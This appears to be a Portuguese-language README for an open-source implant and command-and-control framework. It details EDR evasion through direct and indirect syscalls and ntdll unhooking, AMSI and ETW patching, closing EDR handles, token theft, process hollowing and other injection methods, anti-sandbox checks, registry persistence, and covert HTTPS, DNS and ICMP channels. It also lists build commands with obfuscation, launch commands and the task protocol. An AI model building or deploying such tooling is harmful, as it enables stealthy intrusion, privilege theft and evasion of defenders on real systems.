
Implant e C2 multiplataforma com suporte a syscalls — syscalls diretas (Win), syscalls brutas (Linux), canais HTTPS/DNS/ICMP. Sem camada winapi.
Zero WinAPI. Cada primitiva NT é resolvida em tempo de execução a partir da ntdll em memória —
instruções SYSCALL emitidas diretamente via stubs de assembly Plan9, sem tabela de importação,
sem tocar em hooks de usermode da ntdll. C2 sobre HTTPS / DNS / ICMP, AES-256-GCM por
mensagem. Windows nativo. Builds Linux. Builds macOS.
Isto não é uma biblioteca wrapper de syscalls. É um framework de implant completo onde
cada operação — desde injetar código a ler ficheiros a persistir no
registo — passa por syscalls Nt* em bruto resolvidas no arranque a partir da tabela de exportação
da ntdll atual. Não existem chamadas WinAPI no binário. Nada para um EDR
intercetar em usermode.
B8 xx xx 00 00 0F 05 (direto) ou
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate). Cada nome de função é
hasheado em tempo de compilação — sem strings em texto simples no binário.asm_amd64.s) carrega a SSN em EAX,
define 7 argumentos à mão, executa SYSCALL. Retorno via RAX/RDX.0F 05 C3 (syscall;ret) dentro
da ntdll, chama através dele. A armadilha da CPU aterra dentro da ntdll — a call stack
mostra frames da ntdll, não frames do implant. Nenhum hook de usermode sobrevive..text como RWX, copia os bytes originais da ntdll mapeada
em disco, restaura a proteção, faz flush da icache, limpa a cache de SSN.
Todos os hooks de usermode colocados por qualquer EDR desaparecem.O agente alterna automaticamente entre técnicas de injeção. Cada chamada usa um método diferente — duas injeções nunca parecem iguais em forense.
Executa todas as verificações, devolve um relatório de ameaça pontuado. Auto-destruição em Crítico.
Tudo via syscalls Nt*, sem WinAPI.
EnablePrivilege(index) — definir qualquer privilégio por LUIDEnableAllTokenPrivileges() — 20 privilégios de uma vez (Debug, Impersonate, TCB, Backup, Restore, etc.)GetProcessTokenIntegrityLevel() — consultar integridade obrigatóriaStealProcessToken(pid) — abrir + duplicar o token de outro processoImpersonateThread() / RevertToSelf()EnumVirtualMemory() — percorrer todas as regiões virtuais via NtQueryVirtualMemoryFindWritableExecRegions() — encontrar regiões committed PAGE_EXECUTE_READWRITEHideRegion() — definir PAGE_NOACCESS para esconder memória dos scannersUnhideRegion() — restaurar a proteção originalNtCreateFile → NtReadFile / NtWriteFile → NtClose. Zero chamadas CreateFileA,
ReadFile, WriteFile ou DeleteFileW. ReadFileContents(),
WriteFileContents(), DeleteFileNt(), FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence(), RemoveRunKeyPersistence().
Sem RegCreateKeyEx, RegSetValueEx ou quaisquer chamadas Advapi32.
EnumerateSystemHandles() — todos os handles abertos no sistema via
NtQuerySystemInformation(SystemHandleInformation)FindEDRHandles() — corresponde PIDs proprietários contra 30+ nomes conhecidos
de processos EDR (MsSense, CrowdStrike, Sentinel, Cylance, Carbon Black, etc.)CloseEDRHandles() — fecha handles de monitorização que o EDR colocou no teu
processoIsProcessMonitored() — verificação booleana: estamos a ser vigiados?NtFreeVirtualMemory.PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — thread breakin → RETPatchInstrumentationCallbacks() — ThreadHideFromDebuggerTodos os canais implementam a interface Channel. Adicionar NTP, DoH ou TURN
significa implementar a interface — zero alterações no agente.
AEAD AES-256-GCM por mensagem. Nonce único de 12 bytes por mensagem. Keyring por implant. Derivação de chave baseada em passphrase disponível. 3 testes, todos a passar.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
Ofuscação com garble:
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList → corresponder ntdll.dll via hash djb2IMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = Tabela de ExportaçãoAddressOfNames[], djb2 em cada, corresponder ao alvoAddressOfFunctions[ordinal] → endereço da funçãoB8 xx xx 00 00 0F 05 (direto), B8 xx xx 00 00 C3 (early-ret), ou 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate)Sem nomes de funções no binário. Apenas hashes djb2. A instrução syscall
contorna todos os hooks de usermode.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
Entregue: Beacon loop, fila de tarefas, 3 canais C2, 4 métodos de injeção,
10+ verificações de evasão, enumeração/fecho de handles, manipulação de tokens, operações VAD,
I/O de ficheiros, persistência no registo, fingerprinting de SSN, encriptação de memória,
patches AMSI/ETW, criptografia AES-GCM, gestão de sessões, REPL interativo.
3 testes de criptografia passam. go build limpo no Windows.
Ainda não: Agente autónomo Linux (existem builds, sem lógica de agente), rotação de chaves de sessão, loader em fases, canais NTP/DoH, agendamento de persistência.
MIT — LICENSE
| Método | Como funciona | Porque é furtivo |
|---|
| Mapeamento de secção | NtCreateSection → NtMapViewOfSection (remoto) → NtCreateThreadEx | Sem alocação RWX no VAD. A secção é suportada por ficheiro. Os scanners de memória veem PAGE_EXECUTE_READ, não PAGE_EXECUTE_READWRITE. |
| Process hollow | NtCreateUserProcess (suspenso) → NtSuspendProcess → zerar image base → alocar + escrever shellcode → NtSetContextThread (RIP = shellcode) → NtResumeProcess | O processo aparece como svchost.exe legítimo no taskmgr. Apenas o conteúdo da memória difere. |
| Enfileiramento APC | Enumerar threads via NtQuerySystemInformation → NtOpenThread → NtQueueApcThread | Nenhuma thread nova criada. Nenhum TEB novo. Nenhuma alocação de stack nova. Dispara quando a thread entra em espera alertável. |
| Module stomping | Alocar no alvo → escrever cabeçalho PE mínimo + shellcode → NtCreateThreadEx no ponto de entrada | A lista de módulos mostra um nome de DLL plausível. O cabeçalho PE é válido o suficiente para enganar a enumeração de módulos. |
| Verificação | Método |
|---|
| Deteção de VM | Varrimento de assinatura de hipervisor na leaf CPUID 0x40000000 (VMware, VirtualBox, Hyper-V, KVM, Xen, QEMU, Parallels) + fallback na leaf 0x40000001 |
| Deteção de sandbox | Contagem de CPUs, artefactos de registo (VMware Tools, VBox Guest Additions, serviços VMware/VBox), varrimento de processos de sandbox (30+ nomes conhecidos: wireshark, procmon, x64dbg, ida, etc.) |
| Deteção de debugger | PEB.BeingDebugged, PEB.NtGlobalFlag, flags de debug do heap, ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags, breakpoints de hardware DR0-7, verificação de single-step por timing |
| Anomalia de timing | Baseado em RDTSC: 50 amostras de latência de NtQuerySystemInformation, média/desvio-padrão, sinaliza se >10% das amostras excederem variância de 3σ. Apanha overhead de instrumentação. |
| Evasão de PEB | Corrige BeingDebugged, NtGlobalFlag, flags de ProcessHeap, DebugPort, ThreadHideFromDebugger — tudo via leituras do segmento GS + NtWriteVirtualMemory. Sem chamadas API. |
| Canal | Formato de transmissão | Pré-requisitos |
|---|
| HTTPS | POST binário, framing personalizado, UA/path aleatórios | Certificado TLS |
| DNS | subdomínio <idx>-<total>-<base32>, resposta TXT | Resolução DNS |
| ICMPv4 | payload no ID+seq do echo request/reply | socket raw (root/Admin) |
| Tarefa | Byte | Payload |
|---|
| shell | 0x01 | comando UTF-8 |
| inject | 0x02 | PID (4 bytes LE) + shellcode |
| patch | 0x03 | 0x01=AMSI, 0x02=ETW, 0x03=ambos |
| sleep | 0x04 | segundos (4 bytes LE) |
| evasion | 0x10 | 0x01=completo, 0x02=VM, 0x03=sandbox, 0x04=debug, 0x05=timing, 0x06=relatório |
| handles | 0x11 | 0x01=contagem, 0x02=enum EDR, 0x03=fechar EDR, 0x04=monitorizado? |
| vault | 0x12 | operações de armazenamento encriptado |
| fingerprint | 0x13 | despejar fingerprint de build de SSN |
| token | 0x14 | 0x01=ativar tudo, 0x02=integridade, 0x03=privilégio debug, 0x04=impersonar |
| exit | 0xFF | — |
map[uint32]uint16